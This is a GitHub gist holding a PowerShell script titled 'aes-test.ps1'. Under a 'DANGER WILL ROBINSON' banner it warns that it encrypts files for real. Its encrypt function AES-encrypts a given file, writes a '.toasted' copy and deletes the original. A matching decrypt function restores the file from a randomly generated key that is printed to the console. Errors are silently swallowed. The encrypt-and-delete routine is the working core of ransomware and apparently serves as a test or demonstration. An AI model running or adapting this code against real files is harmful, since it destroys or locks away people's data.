Skip to content

Instantly share code, notes, and snippets.

@arnydo
Created May 17, 2021 20:26
Show Gist options
  • Save arnydo/a0c41325e579b7dae3c8abd1a6b13980 to your computer and use it in GitHub Desktop.
Save arnydo/a0c41325e579b7dae3c8abd1a6b13980 to your computer and use it in GitHub Desktop.
aes-test.ps1
Write-Host ""
Write-Host " ___ _ _ _ ___ ___ ___ __ _____ _ _ " -ForegroundColor Yellow
Write-Host "| \ /_\ | \| |/ __| __| _ \ \ \ / /_ _| | | | " -ForegroundColor Yellow
Write-Host "| |) / _ \| . ` | (_ | _|| / \ \/\/ / | || |__| |__ " -ForegroundColor Yellow
Write-Host "|___/_/_\_\_|\_|\___|___|_|_\___\_/\_/ |___|____|____|" -ForegroundColor Yellow
Write-Host "| _ \/ _ \| _ )_ _| \| / __|/ _ \| \| | " -ForegroundColor Yellow
Write-Host "| / (_) | _ \| || . ` \__ \ (_) | .` | " -ForegroundColor Yellow
Write-Host "|_|_\\___/|___/___|_|\_|___/\___/|_|\_| " -ForegroundColor Yellow
Write-Host "THIS WILL ENCRYPT FILES! FOR REALZ! YOU HAVE BEEN WARNED!" -ForegroundColor Green
Write-Host ""
#NOTE Create a Key
$Key = [System.Byte[]]::new(16) #NOTE: 316 Bytes (128-bit Key)
$RNG = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
$RNG.GetBytes($Key)
Write-Host -ForegroundColor Green "Encryption Key: $($key -join '')"
[int]$IV = 16
function Invoke-AESEncrypt {
<#
.SYNOPSIS
Encrypt a file encrypted with AES CBC encryption
.DESCRIPTION
Encrypt a file encrypted with AES CBC encryption
.PARAMETER AesKey
Key used to encrypt file
.PARAMETER AesIV
Size (in bytes) of IV
.PARAMETER FilePath
Path of file to encrypt
.EXAMPLE
Invoke-AESEncrypt -AesKey $Key -AesIV 16 -FilePath ./test.txt
#>
[cmdletbinding()]
param(
$AesKey,
$AesIV,
$FilePath
)
try {
$RNG = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
$IV = [System.Byte[]]::new($AesIV) #NOTE: 16 Bytes (128-bit IV)
$RNG.GetBytes($IV)
$Path = (Resolve-Path $FilePath).path
#NOTE: Create a AES Crypto Provider:
$AESCipher = New-Object System.Security.Cryptography.AesCryptoServiceProvider
#NOTE: Add the Key and IV to the Cipher
$AESCipher.Key = $AesKey
$AESCipher.IV = $IV
#NOTE: Encrypt data with AES:
$UnencryptedBytes = [System.IO.File]::ReadAllBytes($Path)
$Encryptor = $AESCipher.CreateEncryptor()
$EncryptedBytes = $Encryptor.TransformFinalBlock($UnencryptedBytes, 0, $UnencryptedBytes.Length)
#NOTE: Save the IV information with the data:
[byte[]] $FullData = $AESCipher.IV + $EncryptedBytes
$EncryptedFile = "{0}.toasted" -f $path
Write-Host "Toasting: $EncryptedFile" -ForegroundColor Red
[System.IO.File]::WriteAllBytes( $EncryptedFile, $FullData)
if (Test-Path $EncryptedFile) {
Remove-Item $Path
}
else { Write-Error "Error writing $EncryptedFile" }
#NOTE: Cleanup the Cipher and KeyGenerator
$AESCipher.Dispose()
$RNG.Dispose()
}
catch {
}
return
}
function Invoke-AESDecrypt {
<#
.SYNOPSIS
Decrypt a file encrypted with AES CBC encryption
.DESCRIPTION
Decrypt a file encrypted with AES CBC encryption
.PARAMETER AesKey
Key used to decrypt the file
.PARAMETER AesIV
Size (in bytes) of IV
.PARAMETER FilePath
Path of the file to decrypt
.EXAMPLE
Invoke-AESDecrypt -AesKey $Key -AesIV 16 -FilePath ./test.txt.toasted
#>
[cmdletbinding()]
param(
$AesKey,
$AesIV,
$FilePath
)
try {
$Path = (Resolve-Path $FilePath).path
#NOTE: Decrypt data with AES:
$AESCipher = New-Object System.Security.Cryptography.AesCryptoServiceProvider
#NOTE: Set the AES Key:
$AESCipher.Key = $AesKey
#For Files
[byte[]] $EncryptedBytes = [System.IO.File]::ReadAllBytes($Path)
#Note: Get the IV data for AES:
$AESCipher.IV = $EncryptedBytes[0..$($AesIV - 1)]
#NOTE: Decrypt the with AES:
$Decryptor = $AESCipher.CreateDecryptor();
$UnencryptedBytes = $Decryptor.TransformFinalBlock($EncryptedBytes, 16, $EncryptedBytes.Length - 16)
$UnencryptedFile = $Path.replace(".toasted", "")
[System.IO.File]::WriteAllBytes( $UnencryptedFile, $UnencryptedBytes)
remove-item $Path
$AESCipher.Dispose()
}
catch { }
#NOTE: Get the secret:
return
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment